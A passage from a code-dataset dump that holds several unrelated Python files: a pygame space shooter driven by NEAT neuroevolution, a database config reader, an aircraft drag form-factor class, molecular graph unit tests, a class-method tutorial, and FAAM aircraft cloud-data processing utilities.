screen.blit(playerimg,(x,y))\n \n#Enemy\nenemyimg = []\nenemyimgT = [] \nenemyX = []\nenemyY = []\nenemyX_change = []\nenemyY_change = []\n\nfor i in range(0,6):\n enemyimg.append(pygame.image.load(\"alien.png\"))\n enemyimgT.append(pygame.transform.scale(enemyimg[i], (45, 45)))\n enemyX.append(random.randint(0,755))\n enemyY.append(random.randint(50,200))\n enemyX_change.append(4)\n enemyY_change.append(45)\n\ndef enemy(x,y,i):\n screen.blit(enemyimgT[i],(x,y))\n \n\n#Bullet\nbulletimg = pygame.image.load(\"bullet.png\")\nbulletimg = pygame.transform.scale(bulletimg, (35, 35))\n\nbulletX = 0\nbulletY = 480\nbulletX_change = 0\nbulletY_change = 10\nbullet_state = \"ready\"\n\ndef fire_bullet(x,y):\n global bullet_state\n bullet_state = 'fire'\n screen.blit(bulletimg,(x+5,y+16))\n \n \ndef Collusion(aX,aY,bX,bY):\n distance = math.sqrt(math.pow((aX-bX),2)+math.pow((aY-bY),2))\n if distance <= 25:\n return True\n else:\n return False\n \ndef run(config_file):\n \n # Load configuration.\n config = neat.Config(neat.DefaultGenome, neat.DefaultReproduction,\n neat.DefaultSpeciesSet, neat.DefaultStagnation,\n config_file)\n p = neat.Population(config)\n \n # Add a stdout reporter to show progress in the terminal.\n p.add_reporter(neat.StdOutReporter(True))\n stats = neat.StatisticsReporter()\n p.add_reporter(stats)\n \n # Run for up to 300 generations.\n winner = p.run(eval_genomes, 100)\n\nif __name__ == '__main__':\n\n # Determine path to configuration file. This path manipulation is\n # here so that the script will run successfully regardless of the\n # current working directory.\n local_dir = os.path.dirname(__file__)\n config_path = os.path.join(local_dir, 'config-feedforward.txt')\n run(config_path)\n\n\ndef printit():\n threading.Timer(1.0, printit).start()\n genomes.fitness += 0.5\n\n\ndef eval_genomes(genomes, config):\n \n net = neat.nn.FeedForwardNetwork.create(genomes, config)\n genmoes.fitness = 0\n \n\n\n while True:\n \n #increase fitness 0.5 every sec\n printit()\n \n screen.fill((0,0,0))\n screen.blit(background,(0,0))\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.display.quit()\n \n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n playerX_change = -5\n \n if event.key == pygame.K_RIGHT:\n playerX_change = 5\n \n if event.key == pygame.K_SPACE:\n if bullet_state is \"ready\":\n bulletX = playerX\n fire_bullet(bulletX,bulletY)\n mixer.music.load(\"laser.wav\")\n mixer.music.play()\n \n if event.type == pygame.KEYUP:\n if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\n playerX_change = 0\n \n \n #Player Boundry & Movement\n \n if playerX <= 0:\n playerX = 0\n elif playerX >= 750:\n playerX = 750\n \n playerX += playerX_change\n \n #Neural net\n output = net.activate((playerX,math.sqrt(math.pow((enemyX[0]-playerX[0]),2)+math.pow((enemyY[0]-playerY[0]),2))))\n \n if output >0.5:\n if bullet_state is \"ready\":\n bulletX = playerX\n fire_bullet(bulletX,bulletY)\n mixer.music.load(\"laser.wav\")\n mixer.music.play()\n \n #Bullet Movement\n if bullet_state is \"fire\":\n fire_bullet(bulletX,bulletY)\n bulletY -= bulletY_change\n \n if bulletY <= 0:\n bullet_state = \"ready\"\n bulletY = 480\n \n #Enemy Boundary & Movement\n \n for i in range(0,6):\n \n if enemyY[i]>=480:\n for j in range(0,6):\n enemyY[j]= 2000\n display_gameover()\n break \n \n enemyX[i] += enemyX_change[i] \n if enemyX[i] <= 0:\n enemyX_change[i] = 4\n enemyY[i] += enemyY_change[i]\n elif enemyX[i] >= 750:\n enemyX_change[i] = -4\n enemyY[i] += enemyY_change[0]\n \n colide = Collusion(enemyX[i],enemyY[i],bulletX,bulletY)\n \n enemy(enemyX[i],enemyY[i],i)\n \n if colide:\n bullet_state = \"ready\"\n bulletY = 480\n enemyX[i] = random.randint(0,755)\n enemyY[i]= random.randint(50,200)\n score_value +=1\n genome.fitness +=3\n mixer.music.load(\"explosion.wav\")\n mixer.music.play()\n \n \n display_font(textX,textY)\n player(playerX,playerY) \n pygame.display.update()\n","sub_path":"spaceai.py","file_name":"spaceai.py","file_ext":"py","file_size_in_byte":6284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"542921686","text":"#!/usr/bin/python\nfrom configparser import ConfigParser\n\n\ndef config(filename='db/database.ini', section='postgresql'):\n # create a parser\n parser = ConfigParser()\n # read config file\n parser.read(filename)\n\n # get section, default to postgresql\n db = {}\n if parser.has_section(section):\n params = parser.items(section)\n for param in params:\n db[param[0]] = param[1]\n else:\n raise Exception('Section {0} not found in the {1} file'.format(section, filename))\n\n return db\n\n\ndef startDate(filename='db/database.ini', section='cve'):\n # create a parser\n parser = ConfigParser()\n # read config file\n parser.read(filename)\n\n if parser.has_section(section):\n params = parser.items(section)\n for param in params:\n if param[0] == \"mindate\":\n return param[1]\n\n # User didn't specify oldest date to pull data from\n default_min_date = '01-01-2014'\n return default_min_date\n","sub_path":"db/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"527944294","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\nCopyright: Deutsches Zentrum fuer Luft- und Raumfahrt e.V., 2015 (c)\nContact: daniel.boehnke@dlr.de and jonas.jepsen@dlr.de\n'''\n\nfrom VAMPzero.Handler.Parameter import parameter\n\nclass formFactor(parameter):\n '''\n The parasite drag associated with skin friction and pressure drag is determined \n by incrementing the flat plate results by a factor, to account for \n pressure drag and the higher-than-freestream surface velocities:\n\n :Unit: [ ]\n :Wiki: http://adg.stanford.edu/aa241/drag/formfactor.html \n '''\n\n def __init__(self, value=0., unit='', parent='', cpacsPath=''):\n super(formFactor, self).__init__(value=value, unit=unit, doc=self.__doc__, status='init', parent=parent,\n cpacsPath=cpacsPath)\n\n def calc(self):\n '''\n Calculates the form factor for the engine from length and diameter\n\n :Source: Aircraft Design: A Conceptual Approach, D. P. Raymer, AIAA Education Series, 1992, Second Edition, p. 283, Eq. 12.32\n '''\n dfus = self.parent.dfus.getValue()\n lfus = self.parent.lfus.getValue()\n\n f = lfus / dfus\n \n # limit the form factor to values between 0 and 2 for stability of convergence\n formFactor = 1 + 60. / f ** 3 + f / 400.\n if formFactor < 0.0:\n self.log.warning(\"VAMPzero AERO: The fuselages form factor is calculated to be less than 0.0. Resetting the value to 0.0.\")\n formFactor = 0.0\n elif formFactor > 2.0:\n self.log.warning(\"VAMPzero AERO: The fuselages form factor is calculated to be more than 2.0. Resetting the value to 2.0.\")\n formFactor = 2.0\n\n return self.setValueCalc(formFactor)\n\n ###################################################################################################\n #EOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFE#\n ###################################################################################################","sub_path":"src/VAMPzero/Component/Fuselage/Aerodynamic/formFactor.py","file_name":"formFactor.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"597631255","text":"import numpy as np\nimport torch\n\nfrom dgllife.utils.featurizers import *\nfrom dgllife.utils.mol_to_graph import *\nfrom rdkit import Chem\n\ntest_smiles1 = 'CCO'\ntest_smiles2 = 'Fc1ccccc1'\n\nclass TestAtomFeaturizer(BaseAtomFeaturizer):\n def __init__(self):\n super(TestAtomFeaturizer, self).__init__(\n featurizer_funcs={'hv': ConcatFeaturizer([atomic_number])})\n\nclass TestBondFeaturizer(BaseBondFeaturizer):\n def __init__(self):\n super(TestBondFeaturizer, self).__init__(\n featurizer_funcs={'he': ConcatFeaturizer([bond_is_in_ring])})\n\ndef test_smiles_to_bigraph():\n # Test the case with self loops added.\n g1 = smiles_to_bigraph(test_smiles1, add_self_loop=True)\n src, dst = g1.edges()\n assert torch.allclose(src, torch.LongTensor([0, 2, 2, 1, 0, 1, 2]))\n assert torch.allclose(dst, torch.LongTensor([2, 0, 1, 2, 0, 1, 2]))\n\n # Test the case without self loops.\n test_node_featurizer = TestAtomFeaturizer()\n test_edge_featurizer = TestBondFeaturizer()\n g2 = smiles_to_bigraph(test_smiles2, add_self_loop=False,\n node_featurizer=test_node_featurizer,\n edge_featurizer=test_edge_featurizer)\n assert torch.allclose(g2.ndata['hv'], torch.tensor([[9.], [6.], [6.], [6.],\n [6.], [6.], [6.]]))\n assert torch.allclose(g2.edata['he'], torch.tensor([[0.], [0.], [1.], [1.], [1.],\n [1.], [1.], [1.], [1.], [1.],\n [1.], [1.], [1.], [1.]]))\n\ndef test_mol_to_bigraph():\n mol1 = Chem.MolFromSmiles(test_smiles1)\n g1 = mol_to_bigraph(mol1, add_self_loop=True)\n src, dst = g1.edges()\n assert torch.allclose(src, torch.LongTensor([0, 2, 2, 1, 0, 1, 2]))\n assert torch.allclose(dst, torch.LongTensor([2, 0, 1, 2, 0, 1, 2]))\n\n # Test the case without self loops.\n mol2 = Chem.MolFromSmiles(test_smiles2)\n test_node_featurizer = TestAtomFeaturizer()\n test_edge_featurizer = TestBondFeaturizer()\n g2 = mol_to_bigraph(mol2, add_self_loop=False,\n node_featurizer=test_node_featurizer,\n edge_featurizer=test_edge_featurizer)\n assert torch.allclose(g2.ndata['hv'], torch.tensor([[9.], [6.], [6.], [6.],\n [6.], [6.], [6.]]))\n assert torch.allclose(g2.edata['he'], torch.tensor([[0.], [0.], [1.], [1.], [1.],\n [1.], [1.], [1.], [1.], [1.],\n [1.], [1.], [1.], [1.]]))\n\ndef test_smiles_to_complete_graph():\n test_node_featurizer = TestAtomFeaturizer()\n g = smiles_to_complete_graph(test_smiles1, add_self_loop=False,\n node_featurizer=test_node_featurizer)\n src, dst = g.edges()\n assert torch.allclose(src, torch.LongTensor([0, 0, 1, 1, 2, 2]))\n assert torch.allclose(dst, torch.LongTensor([1, 2, 0, 2, 0, 1]))\n assert torch.allclose(g.ndata['hv'], torch.tensor([[6.], [8.], [6.]]))\n\ndef test_mol_to_complete_graph():\n test_node_featurizer = TestAtomFeaturizer()\n mol1 = Chem.MolFromSmiles(test_smiles1)\n g = mol_to_complete_graph(mol1, add_self_loop=False,\n node_featurizer=test_node_featurizer)\n src, dst = g.edges()\n assert torch.allclose(src, torch.LongTensor([0, 0, 1, 1, 2, 2]))\n assert torch.allclose(dst, torch.LongTensor([1, 2, 0, 2, 0, 1]))\n assert torch.allclose(g.ndata['hv'], torch.tensor([[6.], [8.], [6.]]))\n\ndef test_k_nearest_neighbors():\n coordinates = np.array([[0.1, 0.1, 0.1],\n [0.2, 0.1, 0.1],\n [0.15, 0.15, 0.1],\n [0.1, 0.15, 0.16],\n [1.2, 0.1, 0.1],\n [1.3, 0.2, 0.1]])\n neighbor_cutoff = 1.\n max_num_neighbors = 2\n srcs, dsts, dists = k_nearest_neighbors(coordinates, neighbor_cutoff, max_num_neighbors)\n assert srcs == [2, 3, 2, 0, 0, 1, 0, 2, 5, 4]\n assert dsts == [0, 0, 1, 1, 2, 2, 3, 3, 4, 5]\n assert dists == [0.07071067811865474,\n 0.07810249675906654,\n 0.07071067811865477,\n 0.1,\n 0.07071067811865474,\n 0.07071067811865477,\n 0.07810249675906654,\n 0.07810249675906654,\n 0.14142135623730956,\n 0.14142135623730956]\n\nif __name__ == '__main__':\n test_smiles_to_bigraph()\n test_mol_to_bigraph()\n test_smiles_to_complete_graph()\n test_mol_to_complete_graph()\n test_k_nearest_neighbors()\n","sub_path":"apps/life_sci/tests/utils/test_mol_to_graph.py","file_name":"test_mol_to_graph.py","file_ext":"py","file_size_in_byte":4768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"619326691","text":"#!/usr/bin/env python\r\n# -*- coding:utf-8 -*- \r\n#====#====#====#==== \r\n#Author:\r\n#CreatDate:\r\n#Version: \r\n#====#====#====#====\r\nclass Maker():\r\n age=18\r\n a=18\r\n def test(self):\r\n print(\"test\")\r\n self.age=20\r\n\r\n #定义类方法\r\n @classmethod\r\n def mytest(cls):\r\n cls.a=88\r\n print(\"我是类方法\")\r\n\r\n# m=Maker()\r\n# m.test()\r\n# Maker().test()\r\n# Maker().mytest()\r\n# Maker.mytest()#调用类方法\r\n# # Maker.test()报错\r\n#\r\n# print(m.age)\r\n# m.test()\r\n# print(m.age)\r\n# m1=Maker()\r\n# print(m1.age)\r\nprint(\"----------\")\r\nm2=Maker()\r\nprint(m2.a)\r\nMaker.mytest()\r\nprint(m2.a)\r\n\r\nm3=Maker()\r\nprint(m3.a)\r\n\r\n\r\n","sub_path":"base/10day/10类方法.py","file_name":"10类方法.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"316959946","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 21 09:54:16 2018\n\n@author: Admin TEMP\n\"\"\"\nimport datetime\nimport numpy as np\nfrom netCDF4 import Dataset\nimport math\nimport bisect\nimport h5py\nimport scipy.io as sio\nimport matplotlib.pyplot as plt \nimport matplotlib.dates as mdates\nimport matplotlib.colors as colors\nfrom matplotlib.mlab import bivariate_normal\nfrom matplotlib.dates import DateFormatter\nimport os\nimport pandas as pd\n\n#__________________________________________________________________________________________________\n#Bin DataY based on DataX value\n\n\n#def BinLinear(DataY,DataX,StartBin,EndBin, NBins):\n# Output=np.zeros((len(DataX),NBins))*np.nan\n# bins = np.linspace(StartBin,EndBin, NBins)\n# \n# digitized = np.digitize(DataX, bins)\n# \n# for i in range(len(DataY)-1):\n# if DataX[i]>=StartBin and DataX[i]=StartBin and DataX[i] Threshold)\n\n#__________________________________________________________________________________________________\n\ndef remove_prefix(text, prefix):\n return text[text.startswith(prefix) and len(prefix):]\n#__________________________________________________________________________________________________\n\ndef is_number(s):\n try:\n float(s)\n return True\n except ValueError:\n return False\n\n#__________________________________________________________________________________________________\n\n\n\ndef DateTime2IgorTime(DateTimeArray):\n dt_base = datetime.datetime(1904, 1, 1, 0, 0, 0)\n #IgorTime = (DateTimeArray - dt_base).total_seconds()\n \n IgorTime= [(DateTimeArray[x]-dt_base).total_seconds() for x in range(len(DateTimeArray))] \n return IgorTime\n\n#__________________________________________________________________________________________________\n\ndef Igor2DateTime(IgorTime):\n dt_base = datetime.datetime(1904, 1, 1, 0, 0, 0)\n Dt= [dt_base + datetime.timedelta(seconds=IgorTime[x]) for x in range(len(IgorTime))]\n return Dt\n\n#__________________________________________________________________________________________________\n\ndef loadTAS(FullPath,FAAMCoreName):\n FAAMCore = Dataset(FullPath+FAAMCoreName)\n Time=np.array(FAAMCore['Time'][:])\n TAS_RVSM=np.array(FAAMCore['TAS_RVSM'][:])\n TAS_RVSM_FLAG=np.array(FAAMCore['TAS_RVSM_FLAG'][:])\n dt_base = datetime.datetime(1904, 1, 1, 0, 0, 0)\n FlightDate= datetime.datetime(int(FAAMCoreName[10:14]), int(FAAMCoreName[14:16]), int(FAAMCoreName[16:18]), 0, 0, 0)\n print(FlightDate)\n TotalSeconds = (FlightDate - dt_base).total_seconds()\n DateTime=TotalSeconds+Time\n TAS_RVSM[TAS_RVSM_FLAG!=0]=np.nan\n \n return TAS_RVSM, DateTime\n\n#__________________________________________________________________________________________________\n#\n\n#FullPath='C:/Users/Admin TEMP/Documents/PICASSO/Flights/FAAM_Data/c082-feb-14/core_processed/'\n#FAAMCoreName='core_faam_20180214_v004_r0_c082_1hz.nc'\n\ndef loadFAAMCore(FullPath,FAAMCoreName):\n FAAMCore = Dataset(FullPath+FAAMCoreName)\n Time=np.array(FAAMCore['Time'][:])\n FlightDate= datetime.datetime(int(FAAMCoreName[10:14]), int(FAAMCoreName[14:16]), int(FAAMCoreName[16:18]), 0, 0, 0)\n Time_Core= [FlightDate + datetime.timedelta(seconds=int(Time[x])) for x in range(len(Time))]\n VariableNames=FAAMCore.variables.keys() \n \n #print(VariableNames) \n FAAMCoreDict={}\n for NameStr in VariableNames: \n if not (NameStr.endswith('_FLAG')) and (NameStr!='Time') :\n# print(NameStr)\n CoreVariable=np.array(FAAMCore[NameStr][:])\n if NameStr+'_FLAG' in VariableNames:\n CoreVariableFlag=np.array(FAAMCore[NameStr+'_FLAG'][:])\n CoreVariable[CoreVariableFlag!=0]=np.nan\n FAAMCoreDict[NameStr]=CoreVariable\n\n FAAMCoreDict['Time_Core']= Time_Core \n \n TAT_DI_R_C=np.array(FAAMCore['TAT_DI_R'][:])\n TAT_DI_R_C-=273.15\n TAT_ND_R_C=np.array(FAAMCore['TAT_ND_R'][:])\n TAT_ND_R_C-=273.15\n \n FAAMCoreDict['TAT_ND_R_C']=TAT_ND_R_C\n FAAMCoreDict['TAT_DI_R_C']=TAT_DI_R_C \n \n \n return FAAMCoreDict \n \n #TAT_DI_R=np.array(FAAMCore['TAT_DI_R'][:])\n #TAT_DI_R_FLAG=np.array(FAAMCore['TAT_DI_R_FLAG'][:])\n #TAT_DI_R[TAT_DI_R_FLAG!=0]=np.nan\n #TAT_DI_R\n\n\n\n \n\n\n#__________________________________________________________________________________________________\n\n\ndef LoadCoreCloud(CoreCloudPath,CoreCloudFile,CdpCalPath,CdpCalFile):\n\n CoreCloud = Dataset(CoreCloudPath+CoreCloudFile)\n \n #load bin sizes\n BinSize = np.loadtxt(CdpCalPath+CdpCalFile,skiprows=9,usecols=range(1,31),delimiter=',')\n CDP_BinCentre=BinSize[0][:]\n CDP_BinWidth=BinSize[2][:]\n #CDP_LogCentre=BinSize[4][:]\n #CDP_LogWidth=BinSize[6][:]\n\n #Load CDP\n CDP_FLAG= np.array(CoreCloud['CDP_FLAG'][:])\n for i in range(1, 31):\n if(i<10):\n i_string = 'CDP_0' + str(i)\n else:\n i_string = 'CDP_'+ str(i)\n # print(i_string) \n CDP_bin = np.array(CoreCloud[i_string][:])\n CDP_bin[CDP_FLAG!=0]=np.nan\n if (i==1):\n CDP_Matrix=np.array(CDP_bin)\n else:\n CDP_Matrix=np.column_stack([CDP_Matrix, CDP_bin])\n\n FlightDate= datetime.datetime(int(CoreCloudFile[20:24]), int(CoreCloudFile[24:26]), int(CoreCloudFile[26:28]), 0, 0, 0)\n CDP_TSPM= np.array(CoreCloud['CDP_TSPM'][:])\n CDP_time_mid= [FlightDate + datetime.timedelta(seconds=int(CDP_TSPM[x])) for x in range(len(CDP_TSPM))]\n CDP_cm3=np.sum(CDP_Matrix,axis=1)\n CDP_dNdDp= CDP_Matrix / CDP_BinWidth\n CDP_gcm3=np.sum(CDP_Matrix*(4/3)*math.pi*(CDP_BinCentre/2e4)**3, axis=1)\n\n return CDP_time_mid, CDP_cm3, CDP_dNdDp, CDP_gcm3, CDP_BinCentre\n\n\n\n#__________________________________________________________________________________________________\n\n\ndef ChangeBaseAvg(t1,w1,tdes, max_avg_window):\n wdes=np.zeros(len(tdes))*np.nan\n #max_avg_window=1 # max difference in time that could be averaged\n counts=np.zeros(len(wdes))\n if (len(w1)==len(t1)) and (len(wdes)==len(tdes)): # check wave lengths are correct \n for i in range(len(w1)): \n if(w1[i]==w1[i]):\n match=bisect.bisect_left(tdes, t1[i]) # assume is sorted, which it should be \n if (np.sqrt((t1[i]-tdes[match])**2) < max_avg_window)\t:\t\n if (counts[match]==0):\n wdes[match]=w1[i]\n else:\n wdes[match]+=w1[i]\n counts[match]+=1\n\n wdes/=counts \n return(wdes)\n else:\n print(\"Array lengths incorrect\")\n\n#__________________________________________________________________________________________________\n\n# t1_dt and tdes_dt are DateTime arrays. w1 is numpy array\n\ndef ChangeTimeBaseAvg(t1_dt,w1,tdes_dt, max_avg_window):\n \n t1=DateTime2IgorTime(t1_dt)\n tdes=DateTime2IgorTime(tdes_dt)\n \n wdes=np.zeros(len(tdes))*np.nan\n #max_avg_window=1 # max difference in time that could be averaged\n counts=np.zeros(len(wdes))\n if (len(w1)==len(t1)) and (len(wdes)==len(tdes)): # check wave lengths are correct \n for i in range(len(w1)-1): \n if(w1[i]==w1[i]):\n match=bisect.bisect_left(tdes, t1[i]) # assume is sorted, which it should be \n \n if (match < len(tdes)-1):\n if (np.absolute(t1[i]-tdes[match]) < max_avg_window)\t:\t\n if (counts[match]==0):\n wdes[match]=w1[i]\n else:\n wdes[match]+=w1[i]\n counts[match]+=1\n\n wdes/=counts \n return(wdes)\n else:\n print(\"Array lengths incorrect\")\n\n\n#__________________________________________________________________________________________________\n\n#x= time dimension\n#y= e.g. size \n# uses x to sort \n\n\ndef ChangeTimeBase2DAvg(t1_dt,w1,tdes_dt, max_avg_window):\n \n t1=DateTime2IgorTime(t1_dt)\n tdes=DateTime2IgorTime(tdes_dt)\n \n wdes=np.zeros((len(tdes),len(w1[0,:])))*np.nan\n #max_avg_window=1 # max difference in time that could be averaged\n counts=np.zeros((len(wdes),len(w1[0,:])))\n if (len(w1)==len(t1)) and (len(wdes)==len(tdes)): # check wave lengths are correct \n for i in range(len(w1)): \n if(w1[i,0]==w1[i,0]):\n match=bisect.bisect_left(tdes, t1[i]) # assume is sorted, which it should be \n if (np.sqrt((t1[i]-tdes[match])**2) < max_avg_window)\t:\t\n if (counts[match,0]==0):\n wdes[match,:]=w1[i,:]\n else:\n wdes[match,:]+=w1[i,:]\n counts[match,:]+=1\n\n wdes/=counts \n return(wdes)\n else:\n print(\"Array lengths incorrect\")\n \n \n#__________________________________________________________________________________________________\n\n#NevPath='C:/Users/Admin TEMP/Documents/PICASSO/Flights/FAAM_Data/c082-feb-14/Nevzorov/'\n#NevName='c081_nevzorov_20180213_1hz_r0.nc'\n\ndef LoadNevzorov(NevPath,NevName):\n NevData = Dataset(NevPath+NevName)\n #print(NevData.variables.keys())\n #return NevData\n Time=np.array(NevData['TIME'][:])\n TWC_g_m3=np.array(NevData['TWC'][:])\n LWC_g_m3=np.array(NevData['LWC'][:])\n FlightDate= datetime.datetime(int(NevName[14:18]), int(NevName[18:20]), int(NevName[20:22]), 0, 0, 0)\n TimeNev= [FlightDate + datetime.timedelta(seconds=int(Time[x])) for x in range(len(Time))]\n TimeNevIgor=DateTime2IgorTime(TimeNev)\n \n \n return TWC_g_m3, LWC_g_m3, TimeNev, TimeNevIgor\n\n#__________________________________________________________________________________________________\n\ndef LoadOAP(FilePath,FileNameOAP): \n \n DataOAP = h5py.File(FilePath+FileNameOAP, 'r')\n NC_all_x=np.array(DataOAP['NC_all_x'])\n NC_all_y=np.array(DataOAP['NC_all_y'])\n NC_all_z=np.array(DataOAP['NC_all_z']) \n NC_S_z=np.array(DataOAP['NC_S_z']) \n NC_LI_z=np.array(DataOAP['NC_LI_z']) \n NC_MI_z=np.array(DataOAP['NC_MI_z']) \n NC_HI_z=np.array(DataOAP['NC_HI_z'])\n NC_All_accept_CH0_z=np.array(DataOAP['NC_All_accept_CH0_z'])\n NC_All_accept_CH1_z=np.array(DataOAP['NC_All_accept_CH1_z'])\n DataOAP.close()\n \n NC_All_accept_total=np.sum(NC_All_accept_CH0_z,axis=1)\n NC_HI_total=np.sum(NC_HI_z,axis=1)\n NC_MI_total=np.sum(NC_MI_z,axis=1)\n NC_LI_total=np.sum(NC_LI_z,axis=1)\n\n #Calculate DateTime\n NC_sMidnight=(NC_all_x[:-1:1]+NC_all_x[1::1])/2\n FlightDate= datetime.datetime(int(FileNameOAP[5:9]), int(FileNameOAP[9:11]), int(FileNameOAP[11:13]), 0, 0, 0)\n NC_DateTime= [FlightDate + datetime.timedelta(seconds=int(NC_sMidnight[x])) for x in range(len(NC_sMidnight))]\n\n return NC_All_accept_total,NC_HI_total,NC_MI_total,NC_LI_total,NC_all_x, NC_all_y, NC_all_z, NC_LI_z, NC_MI_z, NC_HI_z, NC_All_accept_CH0_z, NC_All_accept_CH1_z, NC_DateTime\n\n\n#__________________________________________________________________________________________________\n\ndef round_time(dt=None, dateDelta=datetime.timedelta(minutes=1), to='average'):\n \"\"\"Round a datetime object to a multiple of a timedelta\n dt : datetime.datetime object, default now.\n dateDelta : timedelta object, we round to a multiple of this, default 1 minute.\n Author: Thierry Husson 2012 - Use it as you want but don't blame me.\n Stijn Nevens 2014 - Changed to use only datetime objects as variables\n \"\"\"\n round_to = dateDelta.total_seconds()\n\n if dt == None : dt = datetime.datetime.now()\n seconds = (dt - dt.min).seconds\n # // is a floor division, not a comment on following line:\n if to == 'up':\n # // is a floor division, not a comment on following line (like in javascript):\n rounding = (seconds + round_to) // round_to * round_to\n elif to == 'down':\n rounding = seconds // round_to * round_to\n else:\n rounding = (seconds + round_to / 2) // round_to * round_to\n return dt + datetime.timedelta(0,rounding-seconds,-dt.microsecond)\n\n\n#__________________________________________________________________________________________________\n\ndef Average_nPts(Array,nPts):\n \n ArrayAvg=np.nanmean(np.pad(Array.astype(float), (0, nPts - Array.size%nPts), mode='constant', constant_values=np.NaN).reshape(-1, nPts), axis=1)\n return ArrayAvg\n\n#__________________________________________________________________________________________________\n\ndef Average_nPts_datetime(DateTimeArray,nPts):\n \n Array=np.asarray(DateTime2IgorTime(DateTimeArray))\n ArrayAvg=np.nanmean(np.pad(Array.astype(float), (0, nPts - Array.size%nPts), mode='constant', constant_values=np.NaN).reshape(-1, nPts), axis=1)\n DateTimeArrayAvg=Igor2DateTime(ArrayAvg)\n \n return DateTimeArrayAvg\n\n\n#__________________________________________________________________________________________________\n# average every nPts points in x dimension. y dimension size remains the same\n\n\ndef Average_nPts_2D(Array,nPts):\n \n nx=float(Array.shape[0])\n ny=Array.shape[1]\n\n \n ArrayAvg=np.zeros((int(np.ceil(nx/nPts)),ny))*np.nan\n \n for i in range(int(np.ceil(nx/nPts))-1):\n Slice=Array[i*nPts:(i+1)*nPts,:]\n #SliceAvg=np.nanmean(Slice,axis=0)\n ArrayAvg[i,:]=np.nanmean(Slice,axis=0)\n \n return ArrayAvg\n \n\n#__________________________________________________________________________________________________\n#\n\ndef haversine(lon1, lat1, lon2, lat2):\n \"\"\"\n Calculate the great circle distance between two points \n on the earth (specified in decimal degrees)\n \"\"\"\n # convert decimal degrees to radians \n lon1, lat1, lon2, lat2 = map(math.radians, [lon1, lat1, lon2, lat2])\n # haversine formula \n dlon = lon2 - lon1 \n dlat = lat2 - lat1 \n a = math.sin(dlat/2)**2 + math.cos(lat1) * math.cos(lat2) * math.sin(dlon/2)**2\n c = 2 * math.asin(math.sqrt(a)) \n # Radius of earth in kilometers is 6371\n km = 6371* c\n return km\n\n#__________________________________________________________________________________________________\n\n\ndef BinMid_2_Width(BinMid):\n \n Width=np.zeros(len(BinMid))\n WidthTmp=(BinMid[1:-1:1]-BinMid[0:-2:1])/2+(BinMid[2::1]-BinMid[1:-1:1])/2\n Width[1:-1]=WidthTmp\n Width[0]=WidthTmp[0]\n Width[len(Width)-1]=WidthTmp[len(WidthTmp)-1]\n\n #Width=np.zeros(len(BinMid))\n return Width\n\n#__________________________________________________________________________________________________\n\ndef loadmat(filename):\n '''\n this function should be called instead of direct spio.loadmat\n as it cures the problem of not properly recovering python dictionaries\n from mat files. It calls the function check keys to cure all entries\n which are still mat-objects\n \n from: `StackOverflow `_\n '''\n data = sio.loadmat(filename, struct_as_record=False, squeeze_me=True)\n return _check_keys(data)\n\n#__________________________________________________________________________________________________\n\ndef _check_keys(dict):\n '''\n checks if entries in dictionary are mat-objects. If yes\n todict is called to change them to nested dictionaries\n '''\n for key in dict:\n if isinstance(dict[key], sio.matlab.mio5_params.mat_struct):\n dict[key] = _todict(dict[key])\n return dict \n#__________________________________________________________________________________________________\n\ndef _todict(matobj):\n '''\n A recursive function which constructs from matobjects nested dictionaries\n '''\n dict = {}\n for strg in matobj._fieldnames:\n elem = matobj.__dict__[strg]\n if isinstance(elem, sio.matlab.mio5_params.mat_struct):\n dict[strg] = _todict(elem)\n else:\n dict[strg] = elem\n return dict\n\n\n\n#print_mat_nested(matdata, nkeys=6)\n\n#__________________________________________________________________________________________________\n\ndef Matlab2PythonTime(matlab_datenum):\n python_datetime = datetime.datetime.fromordinal(int(matlab_datenum)) + datetime.timedelta(days=matlab_datenum%1) - datetime.timedelta(days = 366)\n return python_datetime\n\n#__________________________________________________________________________________________________\n\ndef Matlab2PythonTimeArray(matlab_datenum_array):\n F_array = np.vectorize(Matlab2PythonTime)\n PythonTimeArray=F_array(matlab_datenum_array)\n\n return PythonTimeArray\n\n#__________________________________________________________________________________________________\n\n#plt.xlim(['2018-02-13 06:35:00','2018-02-13 06:36:00'])\n\n\ndef TimeSeriesPlot(TimeArray, YArray, TimeStart, TimeEnd, Ymin, Ymax):\n \n \n fig=plt.figure(figsize=(10,5)) \n plt.rcParams.update({'font.size': 10})\n formatter = DateFormatter('%H:%M')\n \n plt.subplot(1, 1, 1)\n #plt.title(FlightNumber)\n \n plt.plot(TimeArray, YArray)\n \n plt.gca().xaxis.set_major_locator(mdates.HourLocator() )\n plt.gca().xaxis.set_minor_locator(mdates.MinuteLocator(30) )\n plt.gcf().axes[0].xaxis.set_major_formatter(formatter)\n plt.xlabel('time') \n #plt.xlim(['2018-02-13 06:35:00','2018-02-13 06:36:00'])\n plt.xlim([TimeStart,TimeEnd])\n plt.ylim([Ymin, Ymax])\n\n\n#__________________________________________________________________________________________________\n\n#Diameter correction from Reuter and Bakan 1997\n\ndef ReuterBakanDiameter(Diameter25,AreaFraction0): \n\n C = 